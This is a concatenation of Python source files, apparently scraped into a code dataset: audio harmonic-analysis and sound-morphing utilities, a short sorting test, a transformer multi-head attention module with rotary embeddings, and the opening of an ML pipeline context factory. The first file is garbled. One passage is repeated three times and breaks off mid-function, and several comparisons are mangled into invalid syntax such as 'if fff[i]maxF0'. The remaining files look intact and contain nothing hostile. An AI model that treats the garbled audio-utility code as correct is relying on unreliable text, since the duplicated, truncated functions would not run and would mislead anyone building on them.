range(fn):\n if ptNoise[j] == 1:\n seg.append(j)\n if j == fn-1:\n res = intp(seg, pt[seg[0]-1], pt[seg[0]-1])\n hmagIntp[seg[0]:seg[-1]+1,i] = res\n resf = intp(seg, ptf[seg[0]-1], ptf[seg[0]-1])\n hfreqIntp[seg[0]:seg[-1]+1,i] = resf\n resp = intp(seg, ptp[seg[0]-1], ptp[seg[0]-1])\n hphaseIntp[seg[0]:seg[-1] + 1, i] = resp\n seg = []\n elif ptNoise[j+1] == 0:\n if seg[0]==0:\n res = intp(seg,pt[j+1],pt[j+1])\n resf = intp(seg,ptf[j+1],ptf[j+1])\n resp = intp(seg, ptp[j + 1], ptp[j + 1])\n else:\n res=intp(seg, pt[seg[0]-1],pt[j+1])\n resf = intp(seg, ptf[seg[0] - 1], ptf[j + 1])\n resp = intp(seg, ptp[seg[0] - 1], ptp[j + 1])\n hmagIntp[seg[0]:seg[-1] + 1, i] = res\n hfreqIntp[seg[0]:seg[-1] + 1, i] = resf\n hphaseIntp[seg[0]:seg[-1] + 1, i] = resp\n\n seg = []\n\n return hfreqIntp,hmagIntp,hphaseIntp\n\ndef intp(seg,left,right):\n step = np.arange(len(seg)) + 1\n res = left + step*(right-left)/(len(seg)+1)\n return res\n\ndef find_first_frame_phase(ffphase, mode='origin'):\n if mode == 'origin':\n return ffphase,None,None,0\n elif mode == 'random':\n y = 2*np.pi*np.random.rand(ffphase.size)\n err = np.sum((y-ffphase)**2)**(1/2)\n return y,None, None, err\n elif mode == 'linear':\n x = np.arange(len(ffphase))\n slope, intercept, r_value, p_value, std_err = linregress(x, ffphase)\n y = slope*x + intercept\n return y, slope, intercept, std_err\n\n###############################################################\n\n########## functions for sound synthesis from sound controlling parameters ###############\ndef non_silence_dtct(fff,minF0,maxF0):\n st = 0\n ed = len(fff)-1\n for i in range(len(fff)):\n if fff[i]maxF0:\n st = i+1\n else:\n break\n for i in range(len(fff)-1,-1,-1):\n if fff[i]maxF0:\n ed = i-1\n else:\n break\n return (st,ed)\n\ndef freq_syn_from_para(nH,nF,f0, freqInterval, freqMean, freqVar, freqVarRate, freqSmoothLen):\n hfreqBase = np.arange(nH)*f0*freqInterval + f0\n hfreqBase = np.array([hfreqBase])\n hfreqBase = np.repeat(hfreqBase, nF, axis=0)\n\n hfreqDist = []\n for i in range(nH):\n mu = freqMean[i]\n sigma = freqVar[i] * freqVarRate\n\n y = slope*x + intercept\n return y, slope, intercept, std_err\n\n###############################################################\n\n########## functions for sound synthesis from sound controlling parameters ###############\ndef non_silence_dtct(fff,minF0,maxF0):\n st = 0\n ed = len(fff)-1\n for i in range(len(fff)):\n if fff[i]maxF0:\n st = i+1\n else:\n break\n for i in range(len(fff)-1,-1,-1):\n if fff[i]maxF0:\n ed = i-1\n else:\n break\n return (st,ed)\n\ndef freq_syn_from_para(nH,nF,f0, freqInterval, freqMean, freqVar, freqVarRate, freqSmoothLen):\n hfreqBase = np.arange(nH)*f0*freqInterval + f0\n hfreqBase = np.array([hfreqBase])\n hfreqBase = np.repeat(hfreqBase, nF, axis=0)\n\n hfreqDist = []\n for i in range(nH):\n mu = freqMean[i]\n sigma = freqVar[i] * freqVarRate\n\n slope, intercept, r_value, p_value, std_err = linregress(x, ffphase)\n y = slope*x + intercept\n return y, slope, intercept, std_err\n\n###############################################################\n\n########## functions for sound synthesis from sound controlling parameters ###############\ndef non_silence_dtct(fff,minF0,maxF0):\n st = 0\n ed = len(fff)-1\n for i in range(len(fff)):\n if fff[i]maxF0:\n st = i+1\n else:\n break\n for i in range(len(fff)-1,-1,-1):\n if fff[i]maxF0:\n ed = i-1\n else:\n break\n return (st,ed)\n\ndef freq_syn_from_para(nH,nF,f0, freqInterval, freqMean, freqVar, freqVarRate, freqSmoothLen):\n hfreqBase = np.arange(nH)*f0*freqInterval + f0\n hfreqBase = np.array([hfreqBase])\n hfreqBase = np.repeat(hfreqBase, nF, axis=0)\n\n hfreqDist = []\n for i in range(nH):\n mu = freqMean[i]\n sigma = freqVar[i] * freqVarRate\n\n s = np.random.normal(mu, sigma, nF)\n s = smooth(s, freqSmoothLen)\n\n hfreqDist.append(s)\n\n hfreqDist = np.array(hfreqDist).T\n hfreqSyn = hfreqBase + hfreqDist\n\n return hfreqSyn\n\ndef mag_syn_from_para(fs,nH,nF,H,magADSRIndex,magADSRValue,magADSRN):\n hmagSyn = np.zeros((nH,nF))\n t = (np.arange(nF)+0.5) * H / fs\n ts = np.array([t]).T\n\n for i in range(nH):\n points = np.concatenate((np.array([0]),magADSRIndex[:,i],np.array([nF-1])))\n values = np.concatenate((np.array([-150]),magADSRValue[:,i],np.array([-150])))\n # values = magADSRValue[:, i]\n n = magADSRN[:,i]\n\n for j in range(5):\n st_ind = points[j]\n ed_ind = points[j + 1]\n st_v = values[j]\n ed_v = values[j+1]\n\n if st_ind >= ed_ind - 1:\n if st_ind == ed_ind - 1:\n hmagSyn[i, st_ind] = st_v\n else:\n simCurv = curve(n[j], np.array([[st_v],[ed_v]]), ts[st_ind:ed_ind])\n hmagSyn[i:i + 1, st_ind:ed_ind] = simCurv.T\n\n hmagSyn[::, -1] = hmagSyn[::, -2]\n\n return hmagSyn.T\n\ndef phase_syn_from_para(fs,H,nH,nF,phaseffSlope,phaseffIntercept,hfreqSyn):\n hphaseSyn = np.zeros((nF,nH))\n hphaseSyn[0,:] = np.arange(nH)*phaseffSlope+phaseffIntercept\n for l in range(1, hphaseSyn.shape[0]):\n hphaseSyn[l, :] = hphaseSyn[l - 1, :] + (np.pi * (hfreqSyn[l - 1, :] + hfreqSyn[l, :]) / fs) * H\n\n return hphaseSyn\n\ndef display_syn(file_path,fs,H,nF,y,yh,yst, hfreqSyn, hmagSyn, hphaseSyn,mode = 1):\n if mode in [1,3]:\n outputFileSines = 'output_sounds/syn_sines.wav'\n outputFileStochastic = 'output_sounds/syn_stochastic.wav'\n outputFile = 'output_sounds/syn.wav'\n UF.wavwrite(yh, fs, outputFileSines)\n UF.wavwrite(yst, fs, outputFileStochastic)\n UF.wavwrite(y, fs, outputFile)\n\n # UF.wavplay(file_path)\n UF.wavplay(outputFile)\n\n if mode in [2,3]:\n t = np.arange(nF) * H / fs\n plt.figure()\n plot_spec3d(hfreqSyn, hmagSyn, t, 1)\n plt.figure()\n plot_spec3d(hfreqSyn, hphaseSyn, t, 1)\n return\n###########################################################################################\n\n\n########### save dictionary, read csv/json files ###############################################\ndef save_dictionary(sdInfo,save_path,fm = 0):\n if fm == 0: # csv\n path = save_path+'/'+sdInfo['instrument']+'-'+sdInfo['pitch']+'-'+str(sdInfo['index'])+'.csv'\n if os.path.exists(path):\n print('Existed Already: '+path)\n else:\n w = csv.writer(open(path,'w'))\n for key,val in sdInfo.items():\n w.writerow([key,val])\n elif fm == 1: # json\n path = save_path + '/' + sdInfo['instrument'] + '-' + sdInfo['pitch'] + '-' + str(sdInfo['index']) + '.json'\n if os.path.exists(path):\n print('Existed Already: ' + path)\n else:\n sdInfo['stocEnv'] = sdInfo['stocEnv'].tolist()\n sdInfo['freqMean'] = sdInfo['freqMean'].tolist()\n sdInfo['freqVar'] = sdInfo['freqVar'].tolist()\n sdInfo['magADSRIndex'] = sdInfo['magADSRIndex'].tolist()\n sdInfo['magADSRValue'] = sdInfo['magADSRValue'].tolist()\n sdInfo['magADSRN'] = sdInfo['magADSRN'].tolist()\n\n with open(path,'w') as f:\n json.dump(sdInfo,f)\n\n return\n\ndef read_features(path,fm = 0):\n # with open(path,mode='r') as file:\n # reader = csv.reader(file)\n # sdInfo = {row[0]:row[1] for row in reader}\n if fm == 0: # csv\n df = pd.read_csv(path,header=None,index_col=0)\n sdInfo = df.to_dict()\n elif fm == 1: # json\n f = open(path, 'r')\n sdInfo = json.load(f)\n\n sdInfo['stocEnv'] = np.array(sdInfo['stocEnv'])\n sdInfo['freqMean'] = np.array(sdInfo['freqMean'])\n sdInfo['freqVar'] = np.array(sdInfo['freqVar'])\n sdInfo['magADSRIndex'] = np.array(sdInfo['magADSRIndex'])\n sdInfo['magADSRValue'] = np.array(sdInfo['magADSRValue'])\n sdInfo['magADSRN'] = np.array(sdInfo['magADSRN'])\n\n return sdInfo\n###########################################################################################\n\n\n########## functions for sd_info process ##########################################\ndef sound_info_clct(file_path, sdInfo, nH = 40, minf0 = 100, maxf0 = 1000, M=4001, N=8192, Ns=512, H=128, window='blackmanharris'): \n (fs, x) = UF.wavread(file_path)\n w = sig.get_window(window, M)\n hfreq, hmag, hphase, stocEnv = HPS.hpsModelAnal(x, fs, w, N, H, -200, nH, minf0, maxf0, 5, 0.01, 0.1,512,0.1) # f0et, harmDevSlope, minSineDur, Ns, stocf\n\n sdInfo['fs']=fs\n sdInfo['stocEnv']=stocEnv\n\n # save_path = 'result/test.xlsx'\n # UM.save_matrix(save_path, hfreq, sheetName='guitar_freq_original')\n\n # delete frames at the beginning where no harmonics are detected, i.e. silence\n nonSlc = non_silence_dtct(hfreq[:, 0], minf0, maxf0)\n hfreq = hfreq[nonSlc[0]:nonSlc[1]+1,:]\n hmag = hmag[nonSlc[0]:nonSlc[1] + 1, :]\n hphase = hphase[nonSlc[0]:nonSlc[1] + 1, :]\n\n # do interpolation, where harmonics are not detected within the sound(freq out of [minf0,maxf0])\n hfreqNoise = find_freq_failure(hfreq,minf0,maxf0)\n hfreq,hmag,hphase = mag_interpolate(hfreq,hfreqNoise, hmag, hphase)\n\n ## tst\n # save_path = 'result/test.xlsx'\n # UM.save_matrix(save_path, hfreq, sheetName='guitar_freq_nonsilence_interp')\n\n nF = hfreq.shape[0]\n sdInfo['nF'] = nF\n\n # calculate F0 (mean frequency of fundamentals)\n f0 = np.mean(hfreq[:,0])\n sdInfo['f0']=f0\n\n # find frequency related features\n freqMean, freqVar = freq_ana(hfreq, f0, 0)\n freqVarRate = 0.01\n freqSmoothLen = 31\n sdInfo['freqInterval'] = 1\n sdInfo['freqMean'] = freqMean\n sdInfo['freqVar'] = freqVar\n sdInfo['freqVarRate'] = freqVarRate\n sdInfo['freqSmoothLen'] = freqSmoothLen\n\n # find magnitude related features\n t = np.arange(hfreq.shape[0]) * x.shape[0] / fs / hfreq.shape[0]\n tArray = np.array([t]).T\n hns, hCurve, hPoints = find_curved_partial(hmag.T, tArray)\n for i in range(nH):\n # hP = np.concatenate((np.array([0]), hPoints[i, :], np.array([nF - 1])))\n if i == 0:\n magPointsValue = hmag[hPoints[i, :],i]\n else:\n magPointsValue = np.vstack((magPointsValue,hmag[hPoints[i, :],i]))\n\n sdInfo['magADSRIndex'] = hPoints.T\n sdInfo['magADSRValue'] = magPointsValue.T\n sdInfo['magADSRN']= hns.T\n\n # find phase related features\n ffphase = hphase[0, :]\n\n ## tst\n # plt.plot(ffphase,'x-')\n # plt.xlabel('Harmonic Number')\n # plt.ylabel('Phase(wrapped)')\n # plt.title('First Frame Phase of '+sdInfo['instrument']+sdInfo['pitch'])\n # plt.show()\n\n ffphaseSyn, ffpSlot, ffpIntercept, ffpErr = find_first_frame_phase(ffphase, mode='linear')\n sdInfo['phaseffSlope'] = ffpSlot\n sdInfo['phaseffIntercept'] = ffpIntercept\n\n return x, fs, hfreq, hmag, hphase, stocEnv, sdInfo\n\n\ndef vector2dict(x,Y,nF=1000,silenceSt = 10, silenceEd = 10, meanMax = -100,nH = 40):\n sdInfo = {'instrument':'synthesis',\n 'pitch':'',\n 'source':'',\n 'index':'111',\n 'nH':nH,\n 'nF':nF,\n 'FFTLenAna':8192,\n 'FFTLenSyn':512,\n 'hopSize':256,\n 'fs':44100,\n 'stocEnv': -50*np.ones((nF,12)), # no noise\n 'f0': x[0],\n 'freqInterval':1,\n 'freqVarRate':0,\n 'freqSmoothLen':31}\n\n cursor = 0\n sdInfo['freqMean'] = np.array(Y[cursor:cursor+nH])\n cursor += nH\n sdInfo['freqVar'] = np.array(Y[cursor:cursor+nH])\n cursor += nH\n\n # recover index\n magRiseTimeAbs = np.array(Y[cursor:cursor+nH])/sdInfo['hopSize']*sdInfo['fs']\n cursor += nH\n magReleaseTimeRlt = np.array(Y[cursor:cursor+nH])\n cursor += nH\n slSt = silenceSt * np.ones(nH)\n slEd = silenceSt * np.ones(nH)\n magADSRIndex = np.vstack((slSt,slSt+magRiseTimeAbs,nF-slEd-magReleaseTimeRlt*(nF-slSt-slEd),nF-slEd)).astype(int)\n sdInfo['magADSRIndex'] = magADSRIndex\n\n # recover amplitude\n magADSRValue = np.reshape(Y[cursor:cursor + 3*nH],(3,-1))\n cursor += 3*nH\n\n magADSRValueMax = np.array([Y[cursor:cursor+nH]])*dB2amp(meanMax)*nH\n cursor += nH\n # print(magADSRValue,magADSRValueMax)\n magADSRN = np.vstack((np.ones(nH),np.reshape(Y[cursor:cursor+4*nH],(4,-1))))\n cursor += 4*nH\n magADSRValue = np.vstack((magADSRValue[0,:]*magADSRValueMax,magADSRValueMax,magADSRValue[1,:]*magADSRValueMax,magADSRValue[2,:]*magADSRValueMax))\n sdInfo['magADSRValue'] = amp2dB(magADSRValue)\n sdInfo['magADSRN'] = magADSRN\n\n # recover phase\n sdInfo['phaseffSlope'] = Y[cursor]\n cursor += 1\n sdInfo['phaseffIntercept'] = Y[cursor]\n\n return sdInfo\n\ndef dict2vector(sdInfo, raw=0, nH=40):\n nH = sdInfo['nH']\n harmClct = nH\n if sdInfo['nH'] >= harmClct:\n attackTimeAbs = (sdInfo['magADSRIndex'][1,:] - sdInfo['magADSRIndex'][0,:])*sdInfo['hopSize']/sdInfo['fs']\n #releaseTimeAbs = (sdInfo['magADSRIndex'][3,:] - sdInfo['magADSRIndex'][2,:])*sdInfo['hopSize']/sdInfo['fs']\n releaseTimeRlt = (sdInfo['magADSRIndex'][3, :] - sdInfo['magADSRIndex'][2, :])/(sdInfo['magADSRIndex'][3, :] - sdInfo['magADSRIndex'][0, :])\n\n if raw == 0: # return normalized mag value\n magADSRValue = dB2amp(sdInfo['magADSRValue']) # use real amplitude instead of dB scale\n magADSRValueNorm = magADSRValue/np.repeat(magADSRValue[1:2,:],4,axis=0)\n # actually the second point is not always the max, but when it is not, it's always pretty close to the max(usually the third point)\n magADSRValueNorm = np.concatenate((magADSRValueNorm[0:1,:],magADSRValueNorm[2:,:]))[:,:harmClct]\n magADSRValueMax = (magADSRValue[1,:]/np.sum(magADSRValue[1,:]))[:harmClct] # to avoid the interference of dynamics\n\n ft = [sdInfo['f0']] + sdInfo['freqMean'][:harmClct].tolist() + sdInfo['freqVar'][:harmClct].tolist() + attackTimeAbs[:harmClct].tolist()\\\n + releaseTimeRlt[:harmClct].tolist() + np.reshape(magADSRValueNorm,-1).tolist() + magADSRValueMax.tolist()\\\n + np.reshape(sdInfo['magADSRN'][1:,:harmClct],-1).tolist() + [sdInfo['phaseffSlope'],sdInfo['phaseffIntercept']]\n\n elif raw == 1:\n magADSRValue = dB2amp(sdInfo['magADSRValue'])\n ft = [sdInfo['f0']] + sdInfo['freqMean'][:harmClct].tolist() + sdInfo['freqVar'][:harmClct].tolist() + attackTimeAbs[:harmClct].tolist() \\\n + releaseTimeRlt[:harmClct].tolist() + magADSRValue.tolist() \\\n + np.reshape(sdInfo['magADSRN'][1:, :harmClct], -1).tolist() + [sdInfo['phaseffSlope'],sdInfo['phaseffIntercept']]\n\n else:\n print('wrong raw parameter, returning raw date.')\n magADSRValue = dB2amp(sdInfo['magADSRValue'])\n ft = [sdInfo['f0']] + sdInfo['freqMean'][:harmClct].tolist() + sdInfo['freqVar'][:harmClct].tolist() + attackTimeAbs[:harmClct].tolist() \\\n + releaseTimeRlt[:harmClct].tolist() + magADSRValue.tolist() \\\n + np.reshape(sdInfo['magADSRN'][1:, :harmClct], -1).tolist() + [sdInfo['phaseffSlope'],sdInfo['phaseffIntercept']]\n \n return ft\n else:\n print(\"Need\"+ str(harmClct)+ \"harmonics, only \",sdInfo['nH'],\" collected!\")\n return\n\n\n###################################################################################\n\n############## functions for sound morphing ###############################################\ndef sound_morphing(sdInfo, sdInfo_ref, morph_rate, duration, intensity): \n for key in sdInfo:\n if key not in ['instrument', 'pitch', 'source', 'index', 'nH', 'windowSize', 'window', 'FFTLenAna', 'FFTLenSyn', 'hopSize', 'fs', 'stocEnv']:\n sdInfo[key] = morph_rate*sdInfo[key] + (1-morph_rate)*sdInfo_ref[key]\n if key in ['nF','freqSmoothLen']:\n sdInfo[key] = int(sdInfo[key])\n elif key in ['magADSRIndex']:\n sdInfo[key] = np.array(sdInfo[key],dtype=int)\n\n sdInfo['nF'] = int(sdInfo['nF'])\n\n # assigning duration and intensity\n sdFt = dict2vector(sdInfo)\n sdInfo_new = vector2dict(sdFt[0:1], sdFt[1:], nF = duration, meanMax = intensity, nH = sdInfo['nH'])\n \n # define some parameters for the reconstructed sdInfo\n sdInfo_new['window'] = sdInfo['window']\n sdInfo_new['windowSize'] = sdInfo['windowSize']\n\n return sdInfo_new, sdFt\n###########################################################################################\n\n########## utility func ###################################################################\ndef pitchname2num(pitch, sharp='#'):\n if isinstance(pitch, str):\n chroma = ['C','C'+sharp,'D','D'+sharp,'E','F','F'+sharp,'G','G'+sharp,'A','A'+sharp,'B']\n if pitch[:-1] in chroma:\n pitch = (int(pitch[-1])+1)*12 + chroma.index(pitch[:-1])\n else:\n print('pitch incorrect')\n return pitch\n\ndef pitch2freq(pitch, sharp='#'):\n if isinstance(pitch, str):\n pitch = pitchname2num(pitch, sharp)\n\n return (2**((pitch-69)/12))*440\n\ndef herz2rad(f,fs):\n return f/(fs/2)\n\ndef dB2abslt(x):\n if isinstance(x,np.ndarray):\n return np.power(10,x/20)\n elif isinstance(x,int) or isinstance(x,float):\n return 10**(x/20)\n \ndef dB2amp(X):\n return 10**(X/20)\n\ndef amp2dB(X):\n return 20*np.log10(X)\n###########################################################################################\n\n########################## plot spectrogram ###############################################\ndef plot_spectrogram(sd,fs=44100):\n if isinstance(sd,str):\n (fs, x) = UF.wavread(sd)\n else:\n x = sd\n\n # a,b,c = mag_interpolate(x,y,x,x)\n #\n # print(a)\n # ####################################################\n\n ################ def: read_features ##################\n # path = 'result/features/flute-A4-0.csv'\n # sdInfo = read_features(path)\n #\n # sdInfo1 = sdInfo.copy()\n # print(sdInfo1)\n # for a in sdInfo1:\n # print(a, sdInfo1[a],'\\n')\n ######################################################\n\n","sub_path":"software/modification/utilModi.py","file_name":"utilModi.py","file_ext":"py","file_size_in_byte":31728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"391213263","text":"import numpy as np\nimport random\nlist = {}\nfor i in range(10):\n i += 1\n N = random.randint(10,99)\n acc_list = np.arange(N-11, N)[11:0:-1]\n print(acc_list)\n key = \"ex\" + str(i)\n list[key] = acc_list\n\ni=0\nfor key, acc_list in sorted(list.items(), key=lambda x:x[1][-1]):\n print(acc_list[-1])\n i += 1\n if i>5: break\n","sub_path":"sorttest.py","file_name":"sorttest.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"11839697","text":"# Copyright (c) 2022 Microsoft\n# Licensed under The MIT License [see LICENSE for details]\n\nimport math\n\nimport torch\nimport torch.nn.functional as F\nfrom apex.normalization import FusedLayerNorm as LayerNorm\nfrom torch import nn\n\nfrom .multiway_network import MultiwayWrapper\nfrom xformers.ops import memory_efficient_attention, LowerTriangularMask, MemoryEfficientAttentionCutlassOp\n\ndef rotate_every_two(x):\n x1 = x[:, :, ::2]\n x2 = x[:, :, 1::2]\n x = torch.stack((-x2, x1), dim=-1)\n return x.flatten(-2) # in einsum notation: rearrange(x, '... d j -> ... (d j)')\\\n\n\ndef duplicate_interleave(m):\n \"\"\"\n A simple version of `torch.repeat_interleave` for duplicating a matrix while interleaving the copy.\n \"\"\"\n dim0 = m.shape[0]\n m = m.view(-1, 1) # flatten the matrix\n m = m.repeat(1, 2) # repeat all elements into the 2nd dimension\n m = m.view(dim0, -1) # reshape into a matrix, interleaving the copy\n return m\n\n\ndef apply_rotary_pos_emb(x, sin, cos, scale=1):\n sin, cos = map(lambda t: duplicate_interleave(t * scale), (sin, cos))\n # einsum notation for lambda t: repeat(t[offset:x.shape[1]+offset,:], \"n d -> () n () (d j)\", j=2)\n return (x * cos) + (rotate_every_two(x) * sin)\n\nclass MultiheadAttention(nn.Module):\n def __init__(\n self,\n args,\n embed_dim,\n num_heads,\n dropout=0.0,\n self_attention=False,\n encoder_decoder_attention=False,\n subln=False,\n ):\n super().__init__()\n self.args = args\n self.embed_dim = embed_dim\n self.num_heads = num_heads\n self.head_dim = embed_dim // num_heads\n self.scaling = self.head_dim**-0.5\n self.scale_length = args.scale_length\n\n self.self_attention = self_attention\n self.encoder_decoder_attention = encoder_decoder_attention\n assert self.self_attention ^ self.encoder_decoder_attention\n\n self.k_proj = MultiwayWrapper(args, nn.Linear(embed_dim, embed_dim, bias=True))\n self.v_proj = MultiwayWrapper(args, nn.Linear(embed_dim, embed_dim, bias=True))\n self.q_proj = MultiwayWrapper(args, nn.Linear(embed_dim, embed_dim, bias=True))\n self.out_proj = MultiwayWrapper(\n args, nn.Linear(embed_dim, embed_dim, bias=True)\n )\n self.inner_attn_ln = (\n MultiwayWrapper(args, LayerNorm(self.embed_dim))\n if subln and self.self_attention\n else None\n )\n self.dropout_module = torch.nn.Dropout(dropout, inplace=True)\n\n def reset_parameters(self):\n nn.init.xavier_uniform_(self.k_proj.weight, gain=1 / math.sqrt(2))\n nn.init.xavier_uniform_(self.v_proj.weight, gain=1 / math.sqrt(2))\n nn.init.xavier_uniform_(self.q_proj.weight, gain=1 / math.sqrt(2))\n nn.init.xavier_uniform_(self.out_proj.weight)\n nn.init.constant_(self.out_proj.bias, 0.0)\n\n def forward(\n self,\n query,\n key,\n value,\n incremental_state=None,\n key_padding_mask=None,\n attn_mask=None,\n rel_pos=None,\n sope_rel_pos=None,\n ):\n tgt_len, bsz, embed_dim = query.size()\n src_len = tgt_len\n assert embed_dim == self.embed_dim, f\"query dim {embed_dim} != {self.embed_dim}\"\n assert list(query.size()) == [tgt_len, bsz, embed_dim]\n\n src_len, key_bsz, _ = key.size()\n assert key_bsz == bsz, f\"{query.size(), key.size()}\"\n assert value is not None\n assert src_len, bsz == value.shape[:2]\n\n q = self.q_proj(query)\n k = self.k_proj(key)\n v = self.v_proj(value)\n\n q = q.view(tgt_len, bsz * self.num_heads, self.head_dim).transpose(0, 1).contiguous()\n k = k.view(-1, bsz * self.num_heads, self.head_dim).transpose(0, 1).contiguous()\n v = v.view(-1, bsz * self.num_heads, self.head_dim).transpose(0, 1).contiguous()\n\n if incremental_state is not None:\n if \"prev_key\" in incremental_state:\n prev_key = incremental_state[\"prev_key\"].view(\n bsz * self.num_heads, -1, self.head_dim\n )\n prev_value = incremental_state[\"prev_value\"].view(\n bsz * self.num_heads, -1, self.head_dim\n )\n k = torch.cat([prev_key, k], dim=1)\n v = torch.cat([prev_value, v], dim=1)\n incremental_state[\"prev_key\"] = k.view(\n bsz, self.num_heads, -1, self.head_dim\n )\n incremental_state[\"prev_value\"] = v.view(\n bsz, self.num_heads, -1, self.head_dim\n )\n src_len = k.size(1)\n \n if sope_rel_pos is not None:\n assert rel_pos is None\n sin, cos, scale = sope_rel_pos\n if self.self_attention:\n k = apply_rotary_pos_emb(k, sin, cos, scale = 1 / scale)\n q = apply_rotary_pos_emb(q, sin[-q.shape[1]:], cos[-q.shape[1]:], scale = scale[-q.shape[1]:])\n else:\n k = apply_rotary_pos_emb(k, sin[:k.shape[1]], cos[:k.shape[1]], scale = 1 / scale[:k.shape[1]])\n q = apply_rotary_pos_emb(q, sin[k.shape[1]:], cos[k.shape[1]:], scale = scale[k.shape[1]:])\n \n if k.shape[1] > self.scale_length:\n scale_attention = torch.maximum(torch.ones(q.shape[1]), torch.arange(k.shape[1] - q.shape[1], k.shape[1], 1).log() / math.log(self.scale_length)).to(q)\n q = q * scale_attention.unsqueeze(-1)\n\n if self.args.flash_attention and rel_pos is None and attn_mask is not None:\n attn_bias = LowerTriangularMask()\n attn = memory_efficient_attention(q, k, v, attn_bias, op=MemoryEfficientAttentionCutlassOp)\n attn_weights = None\n else:\n q *= self.scaling\n attn_weights = torch.bmm(q, k.transpose(1, 2))\n\n if attn_mask is not None:\n attn_weights = torch.nan_to_num(attn_weights)\n attn_mask = attn_mask.unsqueeze(0)\n attn_weights += attn_mask\n\n if key_padding_mask is not None:\n attn_weights = attn_weights.view(bsz, self.num_heads, tgt_len, src_len)\n attn_weights = attn_weights.masked_fill(\n key_padding_mask.unsqueeze(1).unsqueeze(2).to(torch.bool),\n float(\"-inf\"),\n )\n attn_weights = attn_weights.view(bsz * self.num_heads, tgt_len, src_len)\n\n if rel_pos is not None:\n rel_pos = rel_pos.view(attn_weights.size())\n attn_weights = attn_weights + rel_pos\n\n attn_weights = F.softmax(attn_weights, dim=-1, dtype=torch.float32).type_as(\n attn_weights\n )\n attn_probs = self.dropout_module(attn_weights)\n\n attn = torch.bmm(attn_probs, v)\n\n attn = attn.transpose(0, 1).contiguous().view(tgt_len, bsz, embed_dim)\n\n if self.inner_attn_ln is not None:\n attn = self.inner_attn_ln(attn)\n\n attn = self.out_proj(attn)\n if attn_weights is not None:\n attn_weights = attn_weights.view(\n bsz, self.num_heads, tgt_len, src_len\n ).transpose(1, 0)\n\n return attn, attn_weights\n","sub_path":"kosmos-2/torchscale/torchscale/component/multihead_attention.py","file_name":"multihead_attention.py","file_ext":"py","file_size_in_byte":7274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"417786536","text":"from collections import namedtuple\nfrom contextlib import contextmanager\nimport logging\nimport random\n\nimport numpy as np\nimport scipy.sparse\n\nfrom .candidate import create_candidate\nfrom .categories import LabelEncoder\nfrom .cleaning import clean_numeric_labels\nfrom .docstrings import render_docstring\nfrom .exceptions import expected, typename\nfrom .inference import _infer_role\nfrom .matrix import create_matrix, Matrix\nfrom .pipeline import Pipeline\nfrom .receiver import Receiver\n\n\n@render_docstring\ndef create_context(\n dataset,\n column_names=None,\n column_roles=None,\n target_column=None,\n problem_type=None,\n test_ratio=None,\n random_state=None,\n allow_multicore=True,\n executor_class=None,\n receiver=None,\n):\n \"\"\"Returns a new `autom8.RecordingContext` object, ready to create pipelines.\n\n Note:\n If you are not writing your own preprocessing or training logic, then\n you do not need to create your own context. You can use either\n `autom8.fit()` or `autom8.run()`, either of which will automatically\n create a context for you.\n\n Parameters:\n $all_context_parameters\n \"\"\"\n\n # Create a default receiver if the user didn't provide one.\n if receiver is None:\n receiver = Receiver()\n\n # Small optimization: don't copy the matrix if we don't need to.\n if isinstance(dataset, Matrix) and column_names is None and column_roles is None:\n matrix = dataset\n else:\n matrix = create_matrix(\n dataset=dataset,\n column_names=column_names,\n column_roles=column_roles,\n receiver=receiver,\n )\n\n num_cols = len(matrix.columns)\n\n if num_cols == 0:\n raise expected('dataset with more than one column', repr(dataset))\n\n if num_cols == 1:\n raise expected('dataset with more than one column', num_cols)\n\n if target_column is None or target_column == -1:\n target_column = num_cols - 1\n\n if not isinstance(target_column, (int, str)):\n raise expected(f'target_column to be an int or a str',\n typename(target_column))\n\n if isinstance(target_column, str):\n target_column = target_column.strip()\n for index, col in enumerate(matrix.columns):\n if target_column == col.name.strip():\n target_column = index\n break\n\n if isinstance(target_column, str):\n raise expected(f'target_column to be one of: {matrix.column_names}',\n repr(target_column))\n\n if isinstance(target_column, int) and target_column >= len(matrix.columns):\n raise expected(\n f'target_column to be valid column number (less than {num_cols})',\n target_column,\n )\n\n labelcol = matrix.columns[target_column]\n label_name, label_values = labelcol.name, labelcol.values\n matrix.drop_columns_by_index(target_column)\n\n if problem_type is None:\n role = _infer_role(labelcol, receiver)\n problem_type = 'regression' if role == 'numerical' else 'classification'\n\n valid_problems = {'regression', 'classification'}\n if not isinstance(problem_type, str) or problem_type not in valid_problems:\n raise expected(f'problem_type in {valid_problems}', repr(problem_type))\n\n if problem_type == 'regression':\n label_values = clean_numeric_labels(label_name, label_values, receiver)\n\n if problem_type == 'regression':\n labels = Labels(label_name, label_values, label_values, None)\n else:\n assert problem_type == 'classification'\n encoder = LabelEncoder()\n encoded = encoder.fit_transform(label_values)\n labels = Labels(label_name, label_values, encoded, encoder)\n\n if test_ratio is None:\n test_ratio = 0.2\n\n if not isinstance(test_ratio, float) or not (0 < test_ratio < 1):\n raise expected('test_ratio between 0.0 and 1.0', test_ratio)\n\n count = len(matrix)\n test_indices = sorted(random.sample(range(count), int(count * test_ratio) or 1))\n\n if executor_class is None:\n executor_class = SynchronousExecutor\n\n return RecordingContext(\n matrix=matrix,\n labels=labels,\n test_indices=test_indices,\n problem_type=problem_type,\n random_state=random_state,\n allow_multicore=allow_multicore,\n executor_class=executor_class,\n receiver=receiver,\n )\n\n\nclass RecordingContext:\n \"\"\"Keep track of autom8's internal state as it generates candidate\n pipelines.\n\n Notes:\n You can get a reference to this object in your receiver's\n `receive_context` method. If you keep your reference to the context\n around, keep in mind that autom8 mutates the context as it generates\n pipelines. Specically, the `matrix` and `steps` attributes frequently\n change while `autom8.run()` is running.\n\n Attributes:\n matrix (Matrix): The current feature matrix.\n labels (Labels): The labels that we're trying to predict.\n\n This is essentially the target column, but the values may be\n encoded, depending on whether or the data is categorical or\n numerical.\n\n test_indices (list[int]): A list of indices. Indicates which rows in\n should be used in the test dataset.\n problem_type (str): Either `classification` or `regression`.\n allow_multicore (bool): Indicates if estimators may use multiple cores.\n executor_class (class): The executor class that autom8 should use when\n it wants to run tasks in parallel.\n receiver (Receiver): An object that receives out-of-band data, like\n candidate pipelines and warnings.\n steps (list[Step]): A list of all the preprocessing steps that have\n been applied to the feature matrix.\n pool (Executor): The current executor, for executing tasks in parallel.\n 